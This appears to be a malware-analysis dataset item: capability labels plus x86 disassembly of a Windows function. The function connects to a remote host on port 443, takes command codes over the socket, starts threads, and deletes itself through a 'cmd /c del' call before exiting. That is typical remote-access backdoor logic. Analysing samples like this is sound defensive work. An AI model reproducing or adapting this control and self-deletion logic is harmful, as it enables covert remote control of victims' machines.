Function at 0x4027c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create thread
Create udp socket
Get comspec environment variable
Get socket status
Query environment variable
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x6c8
push esi
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push edi
mov edi, ecx
movaps xmmword [esp + 0x50], xmm0
mov dword [esp + 0x2c], edi
movaps xmmword [esp + 0x60], xmm0
movaps xmmword [esp + 0x10], xmm0
nop
push 0
xorps xmm0, xmm0
mov dword [esp + 0x24], 0x10
push 1
push 2
movaps xmmword [esp + 0x4c], xmm0
movaps xmmword [esp + 0x3c], xmm0
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov eax, 2
mov word [esp + 0x30], ax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x10], esi
push eax
push 0
push 2
push edi
call dword [sym.imp.WS2_32.dll_WSAStringToAddressW]
push 0x1bb
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x32], ax
lea eax, [esp + 0x30]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
xor esi, esi
mov edi, 0x41ccc4
nop dword [eax + eax]
push 0
mov eax, 0x10
sub eax, esi
push eax
push edi
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x402882
add esi, eax
add edi, eax
cmp esi, 0x10
jl 0x402860
mov esi, dword [esp + 0xc]
lea edx, [esp + 0x40]
push 0x10
mov ecx, esi
call fcn.00402290
add esp, 4
cmp dword [esp + 0x40], 0x58
jne 0x402bf4
cmp dword [esp + 0x44], 0
jne 0x402bf4
test esi, esi
je 0x402c04
lea edx, [esp + 0x50]
mov ecx, esi
call fcn.00401870
test eax, eax
je 0x402c04
xorps xmm0, xmm0
mov dword [esp + 0xb8], 1
movlpd qword [esp + 0x10], xmm0
lea edi, [esp + 0x10]
mov eax, dword [esp + 0x10]
xor esi, esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0xc]
movlpd qword [esp + 0x20], xmm0
mov dword [esp + 0x20], 0xa
mov dword [esp + 0xbc], eax
nop word [eax + eax]
lea eax, [esp + 0x20]
push eax
push 0
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x40294f
push 0
mov eax, 0x10
sub eax, esi
push eax
push edi
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40294f
add esi, eax
add edi, eax
cmp esi, 0x10
jl 0x402910
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp ecx, 0x31
jne 0x402989
test eax, eax
jne 0x402989
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [esp + 0x14]
call fcn.00402c20
add esp, 0xc
push 2
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esp + 0xc]
jmp 0x402bfe
cmp ecx, 0x5a
jne 0x402b82
test eax, eax
jne 0x402b82
push 0x208
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.00404230
add esp, 0xc
lea eax, [esp + 0x4c8]
push 0x208
push 0
push eax
call fcn.00404230
add esp, 0xc
lea eax, [esp + 0x2c0]
push 0x208
push 0
push eax
call fcn.00404230
add esp, 0xc
lea eax, [esp + 0xb8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402be2
push 0x104
lea eax, [esp + 0xbc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x402be2
push 0x104
lea eax, [esp + 0x4cc]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x402be2
xor eax, eax
nop dword [eax]
movzx ecx, word [eax + str._c_del]
lea eax, [eax + 2]
mov word [esp + eax + 0x2be], cx
test cx, cx
jne 0x402a40
lea edx, [esp + 0xb8]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402a60
lea edi, [esp + 0x2c0]
sub edx, esi
add edi, 0xfffffffe
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402a80
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.___nul
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402aa1
lea edi, [esp + 0x2c0]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402ac0
mov ecx, edx
mov dword [esp + 0x7c], 0x3c
shr ecx, 2
lea eax, [esp + 0x4c8]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x8c], eax
mov ecx, edx
lea eax, [esp + 0x2c0]
mov dword [esp + 0x84], 0
mov dword [esp + 0x90], eax
and ecx, 3
lea eax, [esp + 0x7c]
mov dword [esp + 0x88], str.Open
rep movsb byte es:[edi], byte [esi]
push eax
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0x84], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x402be2
push 0x40
push dword [esp + 0xb8]
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
push dword [esp + 0xb8]
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 0
lea eax, [esp + 0xbc]
push eax
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp ecx, 0x6b
jne 0x402be2
test eax, eax
jne 0x402be2
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x50]
xorps xmm0, xmm0
push 0x20
movaps xmmword [esp + 0x54], xmm0
movaps xmmword [esp + 0x64], xmm0
call fcn.00402290
add esp, 4
test eax, eax
je 0x402be2
push 4
push 0
push dword [0x4204b8]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esp + 0x50]
mov dword [eax], ecx
lea ecx, [esp + 0x28]
push ecx
push 0
push eax
push 0x402750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esp + 0xc]
jmp 0x402bfe
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x2c]
jmp 0x4027f0